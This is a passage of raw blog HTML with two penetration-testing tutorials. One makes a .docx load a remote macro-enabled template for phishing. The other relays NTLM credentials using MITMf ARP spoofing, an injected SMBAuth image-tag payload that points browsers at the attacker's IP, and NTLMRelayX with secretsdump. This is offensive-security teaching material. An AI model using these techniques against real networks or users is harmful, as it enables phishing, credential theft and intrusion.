</span></span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">Next, find the document and right-click and rename the extension on the document from .docx to .zip. Extract the contents of the zip file to a folder and browse to that folder.</span></span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"><b>Note</b>: With the release of Office 2007, Microsoft introduced the formats that end in an ‘x’ character. Each of these formats are just zip files containing mostly .xml and .rel files. You can manually edit the document and its properties by changing these files then re-zipping the contents.</span></span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"><br />
</span></span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">Navigate to the ‘.\word\_rels\’ folder and open up the ‘settings.xml.rels’ file using a text editor such as Notepad:</span></span></div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGWdDXhRh3uC4-Rwvfza8KFVXjRedQ_Vkai6Vs9bOQKJJCHbTAAGbsMBt00nbFHsVuxrFYHL6Jv23Dj15iRbXiWQ7rBh0Nd6A9nMSHNrUZWn9zAeaNjhmzRSH7TQYBP3aGtUTOeKqPdw_d/s1600/8.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="906" data-original-width="1600" height="361" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGWdDXhRh3uC4-Rwvfza8KFVXjRedQ_Vkai6Vs9bOQKJJCHbTAAGbsMBt00nbFHsVuxrFYHL6Jv23Dj15iRbXiWQ7rBh0Nd6A9nMSHNrUZWn9zAeaNjhmzRSH7TQYBP3aGtUTOeKqPdw_d/s640/8.png" width="640" /></span></a></div><div class="separator" style="clear: both; text-align: center;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="separator" style="clear: both; text-align: left;"><span style="-webkit-text-stroke-color: rgb(0, 0, 0); font-family: "arial" , "helvetica" , sans-serif;">The Relationship tag containing a Type with attachedTemplate will be the setting that tells Word where to load in your template from when you open that .docx. Currently, this is loading in a template from the local file system:</span></div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYmPWlRWVqmCvW30eVv5Ie7b2Lea9jFTFwEznCCGOtkuoQm6Bur9C2BOoBe12VGTyNkDK2R8AIVOSI74ZMAWyLmTjZuI2IyPfX1jbX2lz-sqqbO4BtoGt6EDwMe2t3RL2mcfEy7N3fO8zT/s1600/9.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="148" data-original-width="1600" height="58" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYmPWlRWVqmCvW30eVv5Ie7b2Lea9jFTFwEznCCGOtkuoQm6Bur9C2BOoBe12VGTyNkDK2R8AIVOSI74ZMAWyLmTjZuI2IyPfX1jbX2lz-sqqbO4BtoGt6EDwMe2t3RL2mcfEy7N3fO8zT/s640/9.png" width="640" /></span></a></div><div class="separator" style="clear: both; text-align: center;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="separator" style="clear: both; text-align: left;"><span style="-webkit-text-stroke-color: rgb(0, 0, 0); font-family: "arial" , "helvetica" , sans-serif;">The key is that this value will accept web URLs. We can modify the Target value to be a remote location. In this case, I host my macro-enabled template on GitHub:</span></div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHQvpr4r1mODVRpmBg9sVNWjxL_G49QxGJM9ovrxs_iWOT0gQiwVCIYmFUV9drpUPpRH3kqBXxpGMqkhVixzI3pGSAb2BDWMnUOmFBggSx93qmkCeLXyhEXwk3fY4mlMb3m_A5xo3r1v77/s1600/10.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="150" data-original-width="1600" height="60" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHQvpr4r1mODVRpmBg9sVNWjxL_G49QxGJM9ovrxs_iWOT0gQiwVCIYmFUV9drpUPpRH3kqBXxpGMqkhVixzI3pGSAb2BDWMnUOmFBggSx93qmkCeLXyhEXwk3fY4mlMb3m_A5xo3r1v77/s640/10.png" width="640" /></span></a></div><div class="separator" style="clear: both; text-align: center;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="separator" style="clear: both; text-align: left;"><span style="-webkit-text-stroke-color: rgb(0, 0, 0); font-family: "arial" , "helvetica" , sans-serif;">Once we save this file, we can zip the contents back up and rename the file back to a .docx. The next time that we open up our .docx, we can see that the file is reaching out over HTTPS to our hosting service to download the template:</span></div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKlBTHfEPpnKO9leXUgRjPz_n-_y6u1NX4DH_IS9rIAefFE1cL_XDbH9LYk_JS-gbr3vl81ZcKGHQ7OvYK5jmJX4Bh993Vhw-X4qt4UD9neOQbOTUvXlDoEYbDqU0xBG70uv4xG1VvbqgC/s1600/11.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="630" data-original-width="1600" height="249" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKlBTHfEPpnKO9leXUgRjPz_n-_y6u1NX4DH_IS9rIAefFE1cL_XDbH9LYk_JS-gbr3vl81ZcKGHQ7OvYK5jmJX4Bh993Vhw-X4qt4UD9neOQbOTUvXlDoEYbDqU0xBG70uv4xG1VvbqgC/s640/11.png" width="640" /></span></a></div><div class="separator" style="clear: both; text-align: left;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">And now our .docx file has a macro loaded in it and is allowed to run macros:</span></span></div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXYcMpgSMLbpuj5iN2jXvcUYQ-7W-QMI74qTorjJzeAcf2CxjhF_ZwC2GgfTCs0D__3qWVgG0tw8Pm1HGsh2ZzwuhGMj6HMXs1MLFb8wA7fsUIshGVyttVh1YNCxxmKU1SdYXoi8IWCJHO/s1600/12.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="780" data-original-width="1600" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXYcMpgSMLbpuj5iN2jXvcUYQ-7W-QMI74qTorjJzeAcf2CxjhF_ZwC2GgfTCs0D__3qWVgG0tw8Pm1HGsh2ZzwuhGMj6HMXs1MLFb8wA7fsUIshGVyttVh1YNCxxmKU1SdYXoi8IWCJHO/s640/12.png" width="640" /></span></a></div><div class="separator" style="clear: both; text-align: center;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="" style="clear: both; text-align: left;"><span style="-webkit-text-stroke-color: rgb(0, 0, 0); font-family: "arial" , "helvetica" , sans-serif;">There is a new pop-up to the user, but it does not affect the payload. This is just due to the fact that .docx files are not intended to contain macros. If the user clicks ‘Enable Content’ or has macros set to run automatically, then we get our agents:</span></div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span> <br />
<div class="p4"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="p4"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghEXNJ1D26HEge5TncIQqokAJsiCmSxqaFlgVem-42R3RRS9DVB8zC-wFgBgcDN34wcADejZpHCO8ZT62pIAiPBCDFMTsBuLnuypZN6E7QAZpLeQ5D6riOzPvawqtpqKbx1Z7ptgIwtmBQ/s1600/13.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="511" data-original-width="1600" height="203" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghEXNJ1D26HEge5TncIQqokAJsiCmSxqaFlgVem-42R3RRS9DVB8zC-wFgBgcDN34wcADejZpHCO8ZT62pIAiPBCDFMTsBuLnuypZN6E7QAZpLeQ5D6riOzPvawqtpqKbx1Z7ptgIwtmBQ/s640/13.png" width="640" /></span></a><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"></span><br />
<span style="font-size: normal;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"><br />
</span></span> <span style="font-size: normal;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"><br />
</span></span> <span style="font-size: normal;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"><br />
</span></span> <span style="font-size: normal;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"><br />
</span></span> <span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"> </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"><br />
<br />
<br />
<br />
Now prep your phishing email, send the .docx to the user, and wait for the call backs!</span></div>BinaryFaultlinehttp://www.blogger.com/profile/15007190596204655011noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-58900085046826746472017-08-18T22:12:00.001-05:002017-08-25T20:26:28.741-05:00NTLMRelayX and MITMf<div class="p1">
<h3>
<b><span style="color: #0b5394; font-size: large;">Introduction:</span></b></h3>
</div>
<div class="p2">
<span class="s1">Recently I have been playing around with the Man-In-The-Middle Framework (MITMf) and have found it to be the most successful tool for me to use on internal penetration tests and significantly more reliable than similar spoofing tools such as Ettercap. MITMf is a modularized framework written in Python which is capable of both establishing MITM attacks and utilizing them in very productive ways. The built-in modules make performing complicated MITM attacks extremely simple with things such as SMBAuth, BeEF injection, MSF’s BrowserSniper, BDFProxy, NetCreds, Responder, etc. Outside of just this combination, I highly recommend over any other MITM tool. Learn it, use it, live it.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">There are a lot of people who use tools such as Responder to trick systems into sending NTLM credentials then relaying them with SMBRelayX (if you aren’t already doing this on internals, get on it). Although highly successful, it is quickly becoming more and more difficult to pull off as a pentester. If you were not aware, Microsoft basically killed off the success of Responder with MS16-077 by disabling NetBIOS-NS by default. This allowed us to impersonate systems to other systems on our local subnet and capture NTLM hashes. In situations where the client has not applied this patch (or re-enabled the hardened settings) and these users have administrative rights, you could get lucky and choose to try to relay those credentials to a system where the connecting user is an administrator, but in my experience that is rare and is more successful in the environments which have 10 other ways in. My goal was to rely on similar methods but reduce or eliminate the luck required to pull of this type of attack.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">The first step in eliminating the luck is to become less reliant on Responder and the way that it works. This tool requires systems to be broadcasting and looking for certain systems via NetBIOS-NS or LLMNR. If the client has patched MS16-077, this is unlikely to happen for you. Another way to force users to connect to you and send NTLM hashes is with crafty thinking, terrible programming on Microsoft’s end, and the wonderful MITMf tool. I will discuss in detail how the module works later in this guide but there is a module called SMBAuth which injects HTML tags into cleartext HTTP traffic (or successfully MITM’d SSL/TLS traffic) which can cause Internet Explorer or Microsoft Edge browsers to establish SMB connections to your system. They will automatically send you the authentication information of the current user! New way to get those hashes.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">The second step in eliminating luck is not relying on successfully cracking password hashes. SMBRelayX is a great tool for this as it can take the hash received, and relay it to a system on the network of your choosing to attempt to authenticate as that user. The key here is it will relay it to <b><i>a system</i></b>. If the user is not an administrator of that specified system, you will not be able to execute code and you will be very limited if you can do anything at all.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">My suggested approach to avoid having to crack passwords and not being restricted to guessing which systems a user might be admin on, is to use an Impacket module which is very similar to SMBRelayX but supports relaying in a round-robin format to multiple hosts, NTLMRelayX. This tool will accept a list of hosts as an input and with each connection, it will attempt to relay credentials to the next host in the provided list. If we point it to every accessible Windows host in the environment and MITM long enough, we will execute code on any machine that the user has local administrative access on*.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">The rest of this guide will provide details on setting up, executing, and understanding these tools as well as some insight into some of the mitigations which clients can implement to help prevent these attacks.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1"><b>Notes to the reader:</b> There are two things that I cannot stress enough, how powerful and important MITM attacks are, and how dangerous MITM attacks are if executed improperly. I encourage anyone reading this that wishes to execute this in a client environment to do so, but only after you have tested the tools in a practice environment, are very comfortable with how the tools work, and have enough of an understanding to troubleshoot the tools and quickly recognize issues. We are all prone to mistakes and even I have caused significant outages doing attacks such as ARP spoofing, but the more you know about how a tool works and the more care you take with the tools you are using, the less likely you are to bring down the networks that you are testing against. <b>Always check your targets</b>! <b>Do not MITM large sets of hosts</b>. Use focused attacks and take the time to review traffic. Understand who you are targeting in an MITM attack before executing. Use common sense. It has been a long time since I have caused any significant issues with MITM attacks and 75-90% of my clients never notice the attack. If executed right, it is a powerful and stealthy attack in most environments. Also, my last note is more of a pro tip: always run Wireshark (or similar packet capturing tool) when doing MITM attacks. This allows you to go back and look at the information that you captured in the MITM attack. Sometimes this is extremely relevant and if you don’t capture it, it may be gone forever.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">*Sure there is some luck as the user might not have local admin anywhere but I am just going to ignore that because 99% of the time, they are local admins <b><i>somewhere</i></b>. Also, if the system is properly patched and they are a local admin on their own system, Microsoft has prevented relaying to the same host initiating the connection, so you won’t be able to pop their own workstation.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p4">
<h3>
<span class="s1" style="color: #0b5394; font-size: large;"><b>Requirements:</b></span></h3>
<span class="s2"></span></div>
<div class="p2">
<span class="s1">Pulling off this attack requires two tools which are either installed by default on Kali or available via an apt-get but both sadly do not work directly out of the box. I have provided a few details in this section which will help you get started with these tools. Additional details can be obtained by reaching out to me.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p5">
<h3>
<span class="s3" style="color: #0b5394; font-size: small;">MITMf:</span></h3>
</div>
<div class="p2">
<span class="s1">I recommend downloading this tool to the /opt/ folder on your testing system and following the install instructions they provide. A simple apt-get install on Kali does not work. The setup instructions include creating a virtual environment for Python because there are some dependencies on older Python libraries. Replacing these libraries with the older version for the default Python environment may break other tools on your system. One note that they do not include is how to get back to leave a virtual environment or how to get back into one. The github for this project can be found at <span style="color: #b45f06;"><a href="https://github.com/byt3bl33d3r/MITMf" style="color: '#cc7700';"><span class="s4" style="color: #b45f06;">https://github.com/byt3bl33d3r/MITMf</span></a> </span>with the installation instructions at <a href="https://github.com/byt3bl33d3r/MITMf/wiki/Installation"><span class="s4" style="color: #b45f06;">https://github.com/byt3bl33d3r/MITMf/wiki/Installation</span></a>.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1"><b>Entering an already created virtual environment:</b></span></div>
<div class="p2">
<span class="s1">To enter an already created virtual environment, you would use the “workon” command. For example, with MITMf, you would type on the command line:</span></div>
<div class="p3">
<span style="font-family: "courier new" , "courier" , monospace;"><span class="s1"></span><br />
</span></div>
<div class="p6">
<span class="s1" style="font-family: "courier new" , "courier" , monospace;">#workon MITMf</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p7">
<span class="s1"><b>Exiting a virtual environment:</b></span></div>
<div class="p7">
<span class="s1">To exit the current virtual environment, you can type ”deactivate” and it will bring you back to a standard shell which will use your system’s default Python environment.</span></div>
<div class="p8">
<span class="s3"></span><br /></div>
<div class="p5">
<h3>
<span class="s3" style="color: #0b5394; font-size: small;">NTLMRelayX:</span></h3>
</div>
<div class="p2">
<span class="s1">By default, this tool is installed on Kali in /usr/share/doc/python-impacket/examples/ntlmrelayx.py, but sadly is missing required dependencies, some of them are older Python libraries. I have not found any guides on getting this setup, so I will detail some steps here.</span></div>
<div class="p2">
<span class="s1">This tool is dependent on the ldap3 version 1.4.0 library which is not the current version, nor the current version installed on Kali by default. To prevent breaking other tools in Kali which rely on newer version of this library, I recommend setting up another virtual environment to use this tool in. To do this (assuming you went through the steps to setup MITMf and have virtual environments properly setup for that tool), we must first create the virtual environment:</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p6">
<span class="s1" style="font-family: "courier new" , "courier" , monospace;">#mkvirtualenv ntlmrelayx –p /usr/bin/python2.7</span></div>
<div class="p3">
<span class="s1"><i></i></span><br /></div>
<div class="p2">
<span class="s1">Once inside a new virtual environment, we have little to no Python libraries installed. At the time of this writing, I had to install the following libraries:</span></div>
<br />
<ul class="ul1">
<li class="li2"><span class="s1" style="color: white; font-family: "courier new" , "courier" , monospace;">impacket</span></li>
</ul>
<ul class="ul1">
<li class="li2"><span class="s1" style="color: white; font-family: "courier new" , "courier" , monospace;">pycrypto</span></li>
</ul>
<ul class="ul1">
<li class="li2"><span class="s1" style="color: white; font-family: "courier new" , "courier" , monospace;">pyopenssl</span></li>
</ul>
<ul class="ul1">
<li class="li2"><span class="s1" style="color: white; font-family: "courier new" , "courier" , monospace;">ldap3==1.4.0</span></li>
</ul>
<ul class="ul1">
<li class="li2"><span class="s1" style="color: white; font-family: "courier new" , "courier" , monospace;">ldapdomaindump</span></li>
</ul>
<br />
<div class="p9">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">I installed each of these using the following command:</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p6">
<span class="s1" style="font-family: "courier new" , "courier" , monospace;">#pip install [library name]</span></div>
<div class="p3">
<span class="s1"><i></i></span><br /></div>
<div class="p2">
<span class="s1">The last trip-up I had with this tool is that it is not written to be able be run in a virtual environment and takes some small tweaking to actually work here**. We need to change the shebang line from “#!/usr/bin/python” to “#!/usr/bin/env python2.7” to get it to work properly in the virtual environment that was just created. I recommend creating a backup of the original before making an modifications. Once this is done, the tool should function as intended without causing issues to other tools on your system. Keep in mind that each time you go to use this tool, you will have to make sure to enter your virtual environment and run it from within this environment.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">** Huge thanks to Andy Bard for teaching me something new about Python and the difference between #!/usr/bin/python and #!/usr/bin/env python2.7 and helping me to get this tool to work in a virtual environment! I would still be breaking things on my system without this knowledge.</span><br />
<h3>
<span style="color: #0b5394; font-size: large;"><span class="s1"><br />
</span><span class="s1"><b>MITMf and SMBAuth:</b></span></span></h3>
</div>
<div class="p2">
<span class="s1">Once we have all of the tools setup on our system we can start the actual attack. The first part of the attack requires us to establish a MITM connection between one or more targets and their gateway so that we can observe and manipulate their traffic. The most successful method I have found with this is to use ARP spoofing against 1-5 workstations on your local subnet. I am not going to dive into the risks of ARP spoofing or techniques for selecting targets here, but I will state that you should be careful of what/who you MITM and how many systems you MITM at a time.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">The first step with any tool should almost always be the help command. First switch to the directory in which you installed MITMf (probably /opt/MITMf/) then run “<span style="font-family: "courier new" , "courier" , monospace;">./mitmf --help</span>” to see the available switches and how to use them. With MITMf, we let the tool know that we want to do ARP spoofing with the “<span style="font-family: "courier new" , "courier" , monospace;">--spoof --arp</span>” arguments. If we don’t want to use gratuitous ARP, we can use “<span style="font-family: "courier new" , "courier" , monospace;">--spoof --arp --arpmode rpy</span>” if we only want to reply to ARP requests rather than initiating them ourselves. This method can be slightly more stealthy but usually less efficient.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">While we are in a position to observe and control traffic, we can tell MITMf to automatically identify plaintext HTTP traffic and automatically inject HTML code into any identified traffic. In some situations this can be JavaScript to steal cookies or hook BeEF, but in our situation we want to force the user’s browser to authenticate to use using SMB so we will use the “<span style="font-family: "courier new" , "courier" , monospace;">--SMBAuth</span>” switch.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">In total, we would run the following command from our MITMf virtual environment:</span></div>
<div class="p3">
<span style="font-family: "courier new" , "courier" , monospace;"><span class="s1"></span><br />
</span></div>
<div class="p6">
<span class="s1" style="font-family: "courier new" , "courier" , monospace;">#./mitmf --spoof --arp --SMBAuth -i [interface] --gateway [gateway IP address] --targets [list of target hosts, comma separated, accepts things such as 192.168.0.1-15]</span><br />
<span class="s1"><br />
</span></div>
<div class="p10">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5QD7wK6GwRolqI3HEmwW6gvQnTn3mNCvtQqY1Wttq2vwSEvmWiOYAzLlAib2oKoEcGK4c3Vjo0KldBSSCEdl3u3fucTc_3o5V8nmT0mKVMD-Xoyf_xL933b_yj_ICs4HafXlBuPphP9WE/s1600/Executing_MITMf_against_a_lab_host.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="293" data-original-width="468" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5QD7wK6GwRolqI3HEmwW6gvQnTn3mNCvtQqY1Wttq2vwSEvmWiOYAzLlAib2oKoEcGK4c3Vjo0KldBSSCEdl3u3fucTc_3o5V8nmT0mKVMD-Xoyf_xL933b_yj_ICs4HafXlBuPphP9WE/s640/Executing_MITMf_against_a_lab_host.png" width="640" /></a></div>
<span style="font-size: x-small;"><br />
</span></div>
<div class="p11">
<span class="s1" style="font-size: x-small;"><i>Executing MITMf in a lab environment against a single target Windows 7 workstation with IP of 10.2.2.2</i></span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p3">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ-WXyfNYxwDltiO3o1izIVBUDPfPvB2QhCSKgLoR_NPn3n-ylAGeXJoNmwlF3Idpwv19-XOMuegpeifDDM15qPUJ1MQwlVwBdkQjHTyYIrM78QEYZWImlh7M34ep21iE_QngVZYdr55kf/s1600/MITMf_automatically_injecting_html_auth_payload_into_http.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="206" data-original-width="468" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ-WXyfNYxwDltiO3o1izIVBUDPfPvB2QhCSKgLoR_NPn3n-ylAGeXJoNmwlF3Idpwv19-XOMuegpeifDDM15qPUJ1MQwlVwBdkQjHTyYIrM78QEYZWImlh7M34ep21iE_QngVZYdr55kf/s640/MITMf_automatically_injecting_html_auth_payload_into_http.png" width="640" /></a></div>
<span style="font-size: x-small;"><br />
</span></div>
<div class="p12">
<span class="s1" style="font-size: x-small;"><i>MITMf automatically injecting SMBAuth HTML payload into cleartext HTTP traffic</i></span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1">This switch will exploit functionality built into Internet Explorer and Microsoft Edge to render images on a file share. We trick the browser into thinking that there are images available on a file share and tell it that the file share is located at our IP address. Without any other tools, this will detect the SMB connection and capture the NTLM hashes. For the purposes of this guide, we don’t care to capture the hashes, we would rather relay them to our targets. For more details on this, skip down to the NTLMRelayX section of this guide. For more details on how the SMBAuth works, see below.</span></div>
<div class="p3">
<h3>
<span style="color: #0b5394; font-size: large;"><br />
<span class="s1"><b>Workings of SMBAuth:</b></span></span></h3>
<span class="s1"></span></div>
<div class="p2">
<span class="s1">The SMBAuth module built into MITMf works by observing network traffic and looking for cleartext HTTP traffic, specifically the “<span style="font-family: "courier new" , "courier" , monospace;"></body></span><b>”</b> tag. If it finds this tag, it will replace it with multiple image tags followed by the original close body tag. Below is a simple example of a server responding with HTML code and the HTML code that would be injected for an attacker machine with the IP address of <b>192.168.0.101. </b>Injected code is <b>bolded</b>.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p6">
<span class="s1" style="font-family: "courier new" , "courier" , monospace;"><html></span></div>
<div class="p6">
<span class="s1" style="font-family: "courier new" , "courier" , monospace;"><head></span></div>
<div class="p6">
<span class="s1" style="font-family: "courier new" , "courier" , monospace;"><title> Hello World </title></span></div>
<div class="p6">
<span class="s1" style="font-family: "courier new" , "courier" , monospace;"></head></span></div>
<div class="p6">
<span class="s1" style="font-family: "courier new" , "courier" , monospace;"><body></span></div>
<div class="p6">
<span class="s1" style="font-family: "courier new" , "courier" , monospace;">Hello World</span></div>
<div class="p6">
<span class="s1" style="font-family: "courier new" , "courier" , monospace;"><b><img src=”\\192.168.0.101\image.jpg”><img src=”file:////192.168.0.101\image.jpg”><img src=”moz-icon:file://%5c/192.168.0.101\image.jpg”/></img></img></body></b></span></div>
<div class="p6">
<span class="s1" style="font-family: "courier new" , "courier" , monospace;"></html></span></div>
<div class="p10">
<span class="s1"></span><br /></div>
<div class="p3">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyxz1QGeyOW3XFc0BzlhveykjSiMXAl-XzyEddZHkKUFqRFDJTxNSBJtu7aFklW0KspzN4IOrByYHjdJ9_C4_gc9QVIilALbP1JmbVN-8Hnrka05WnclbKhC2HOsi9xYopxvs-tY9lYlXI/s1600/Using_view_source_for_html_code.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="39" data-original-width="523" height="46" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyxz1QGeyOW3XFc0BzlhveykjSiMXAl-XzyEddZHkKUFqRFDJTxNSBJtu7aFklW0KspzN4IOrByYHjdJ9_C4_gc9QVIilALbP1JmbVN-8Hnrka05WnclbKhC2HOsi9xYopxvs-tY9lYlXI/s640/Using_view_source_for_html_code.png" width="640" /></a></div>
<br /></div>
<div class="p11">
<span class="s1" style="font-size: x-small;"><i>Using view-source to look at the returned HTML code when hit by an MITM attack using Internet Explorer on Windows 7</i></span></div>
<div class="p13">
<span class="s1"><i></i></span><br /></div>
<div class="p2">
<span class="s1">These various image tags tell Internet Explorer and Microsoft Edge to make an SMB connection and provide NTLM credentials to the target host to download the image.jpg file. For an attacker, this is wonderful, an end user, terrible. As an attacker, we are able to leverage the NTLMRelayX tool detailed below to relay the authentication information received to multiple systems on the network and execute secretsdump.py on any system on which the MITM’d user has administrative credentials and does not have SMB signing enabled.</span></div>
<div class="p3">
<span class="s1"></span><br /></div>
<div class="p2">
<span class="s1"><b>NOTE: </b>Although I put these two tool execution descriptions in this order, they must actually be run in reverse to work properly. You must first execute NTLMRelayX in one shell, then kick off the MITM attack using MITMf next. MITMf will start an SMB server by default (even with no modules loaded, check out the main function yourself) so running this will lock up TCP port 445 and NTLMRelayX will not be able to start. MITMf will still run properly (for the purpose of this attack) if it cannot bind to that port because NTLMRelayX is already running.</span></div>
<div class="p4">
<span class="s1"><b><br />
</b></span> <br />
<h3>
<span class="s1" style="color: #0b5394; font-size: large;"><b>NTLMRelayX:</b></span></h3>
</div>
<div class="p2">
<span class="s1">For those of you who are familiar with SMBRelayX, NTMLRelayX should not look or feel much different at all once you have the dependencies taken care of. This tool will listen for NTLM connections and relay them to a list of specified hosts. We use the “<span style="font-family: "courier new" , "courier" , monospace;">-tf [host list]</span>” to define a file containing a list of hosts to target. We can optionally set the “<span style="font-family: "courier new" , "courier" , monospace;">-w</span>” flag which, if enabled, will check the file provided in the <span style="font-family: "courier new" , "courier" , monospace;">–tf</span> argument for updates and add new targets as the file changes. In cases where you are doing testing or you have not enumerated all accessible Windows systems, this can be a useful switch.</span><br />
<span class="s1"><br />
</span></div>
<div class="p3">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3T4VXO-l8WOpqXaEFTP3vQK_YIv8X-Q-69q03DjB75TGxdVrX5nQfVK8-Ix1w12SHdt5C9sT8-x5lCVzN6D58pIciLWTzCWbklkfRvnXU87O3gSkJxg1Zc07CVJvRFIsIIWMcjmFaqP3v/s1600/Creating_a_target_list.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="219" data-original-width="468" height="299" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3T4VXO-l8WOpqXaEFTP3vQK_YIv8X-Q-69q03DjB75TGxdVrX5nQfVK8-Ix1w12SHdt5C9sT8-x5lCVzN6D58pIciLWTzCWbklkfRvnXU87O3gSkJxg1Zc07CVJvRFIsIIWMcjmFaqP3v/s640/Creating_a_target_list.png" width="640" /></a></div>
<span style="font-size: x-small;"><br />
</span></div>
<div class="p12">
